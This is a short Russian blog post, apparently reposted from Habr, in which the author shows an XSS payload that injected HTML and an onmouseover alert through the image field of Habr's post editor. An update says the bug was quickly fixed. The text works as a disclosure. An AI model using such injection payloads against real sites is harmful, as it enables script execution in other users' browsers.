Чем хороший программист отличается от плохого, или почему нужно выходить за рамки

от автора

Это будет моя самая короткая статья.

о которых писал ранее.

Пейлоад тот же, что и в прошлой статье:

{ "type": "persona", "attrs": { "inserted": false }, "content": [ { "type": "persona_image", "attrs": { "src": "javascript:\"></a>                 <div/onmouseover=alert('xss')>                     <div/style=\"position:fixed;bottom:0;width:100%;height:100vh;background-image:url('https://c.tenor.com/GjsMO1r7HGMAAAAC/hyenas-lion-king.gif');background-position:center;background-repeat:no-repeat;background-size:cover;\">                          &nbsp;                     </div>                 </div>                 <!--<a", "class": "image image-persona" } }, { "type": "persona_heading", "content": [ { "type": "text", "text": "<-- Нажимайте сюда" } ] }, { "type": "paragraph", "attrs": { "align": null, "simple": false, "persona": false } } ] }

UPD. Разрабы Хабра после выхода статьи быстро пофиксили баг. По их словам, вопрос с валидацией в работе. Я не предупреждал о статье, но меня не забанили и отнеслись ко всему позитивно — за это респект.


Заходите в мою телегу: Блог погромиста. Это просто ссылка, не XSS 🙂

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Запилите нормальный редактор
83.33% Запилите нормальный редактор 20
70.83% Запилите нормальный редактор 17
66.67% Запилите нормальный редактор 16
Проголосовали 24 пользователя. Воздержались 5 пользователей.

ссылка на оригинал статьи https://habr.com/ru/post/656979/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *